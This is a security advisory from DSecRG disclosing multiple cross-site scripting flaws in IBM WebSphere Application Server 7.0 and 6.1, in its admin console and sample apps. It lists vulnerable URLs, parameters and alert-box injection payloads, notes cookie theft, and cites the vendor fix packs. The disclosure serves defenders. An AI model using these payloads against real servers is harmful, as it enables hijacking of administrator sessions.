[DSECRG-09-013] IBM WebSphere Application Server 7.0 Multiple XSS Vulnerabilities

[DSecRG <research () dsecrg com>]

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-013
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Application:                IBM WebSphere Application Server
Versions Affected:          7.0 and 6.1
Vendor URL:                 http://www.ibm.com/websphere/
Bug:                        Multiple XSS Vulnerabilities
Exploits:                   YES
Reported:                   01.11.2008
Vendor response:            02.11.2008    
Solution:                   FP 6.1.0.23 and 7.0.0.3   
Date of Public Advisory:    27.03.2009
Internal number             DEFECT 566807
CVE-number:                 ..
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
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Multiple XSS Vulnerabilities found in:

WAS Core System:

1. Integrated Solutions Console XSS vulnerability.

WAS Samples:

2. PlantsByWebSphere Sample multiple XSS vulnerabilities.
3. JAX-WS Web Services MTOM Sample XSS vulnerability.
4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.
5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.
6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.
7. Application Profile - Account Management Sample multiple XSS vulnerabilities.
8. Scheduler Account Report Sample multiple XSS vulnerabilities.


Details
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1. Integrated Solutions Console XSS vulnerability. 

Attacker can inject XSS in URL string.

Example:

http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>
http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>.jsp

Using this vulnerability attacker can steal admin's cookie and then authentificate as administrator. 

2. PlantsByWebSphere Sample multiple XSS vulnerabilities.

2.1 Multiple linked XSS vulnerabilities.

Attacker can inject XSS in URL string.

Example:

http://[server]/PlantsByWebSphere/<IMG SRC="javascript:alert('DSecRG XSS')">
http://[server]/PlantsByWebSphere/<script>alert('DSecRG XSS')</script>.jsp


2.2 XSS vulnerability found in script /PlantsByWebSphere/servlet/AccountServlet

Attacker can inject XSS in parameter "userid".

Example:

http://[server]/PlantsByWebSphere/servlet/AccountServlet?action=login&updating=false&userid=<script>alert('DSecRG 
XSS')</script>


2.3 Multiple XSS vulnerabilities found in script /PlantsByWebSphere/servlet/ShoppingServlet

Vulnerable parameters:

"baddr1", "baddr2", "bcity", "bname", "bphone", "bstate", 
"bzip", "category", "itemqty0", "itemqty1", "itemqty2", 
"itemqty3", "itemqty4", "itemqty5", "itemqty6", "itemqty7", 
"qty", "saddr1", "saddr2", "scity", "shippingMethod", 
"sname", "sphone", "sstate", "szip".

Example:

bzip = <script>alert('DSecRG XSS')</script>
qty = <IMG SRC=javascript:alert('DSecRG_XSS')>

http://[server]/PlantsByWebSphere/servlet/ShoppingServlet?action=shopping&category=<script>alert('DSecRG XSS')</script>


3. JAX-WS Web Services MTOM Sample XSS vulnerability.

Vulnerability found in script /wssamplemtom/demo

POST parameter "uridef".

Example:

uridef = "><script>alert('DSecRG XSS')</script>


4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.

Vulnerabilities found in script /scriptwssamplesei/demo

POST parameters "msgstring" and "uri".

Example:

msgstring = </textarea><script>alert('DSecRG XSS')</script>
uri = "><script>alert('DSecRG XSS')</script>



5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.

Vulnerabilities found in script /DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp

Vulnerable parameters "query" and "rbindex".

Example:

query = --><script>alert('DSecRG XSS')</script>
rbindex = --><script>alert('DSecRG XSS')</script>

http://[server]/DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp?query=</textarea><script>alert('DSecRG XSS')</script>



6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.

Vulnerabilities found in script /DynamicQuery/EjbMediatorWeb/

POST parameter "query".

Example:

query = <script>alert('DSecRG XSS')</script>;'


7. Application Profile - Account Management Sample multiple XSS vulnerabilities.

Vulnerabilities found in script /ApplicationProfileSample/servlet/AccountManagementServlet

Vulnerable parameters "accountNumberToBeCreated", "balance" and "minibalance".

Example:

http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?accountNumberToBeCreated=";><IMG/SRC=javascript:alert('DSecRG_XSS')>
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?balance="; STYLE="xss:expression(alert('DSecRG 
XSS'))
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?minibalance=";><script>alert('DSecRG 
XSS')</script>



8. Scheduler Account Report Sample multiple XSS vulnerabilities.

Vulnerabilities found in script /scheduler/accountreport

Vulnerable parameters "acctnum", "balance", "desc", "owner", "repeatint", "repeats" and "startint".

Example:

acctnum = " STYLE="xss:expression(alert('DSecRG XSS'))
desc = "><IMG/SRC=javascript:alert('DSecRG_XSS')>
startint = "><script>alert('DSecRG XSS')</script>



Solution
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Download FP 6.1.0.23 and 7.0.0.3 from official site.
http://www-01.ibm.com/support/docview.wss?rs=180&uid=swg27004980



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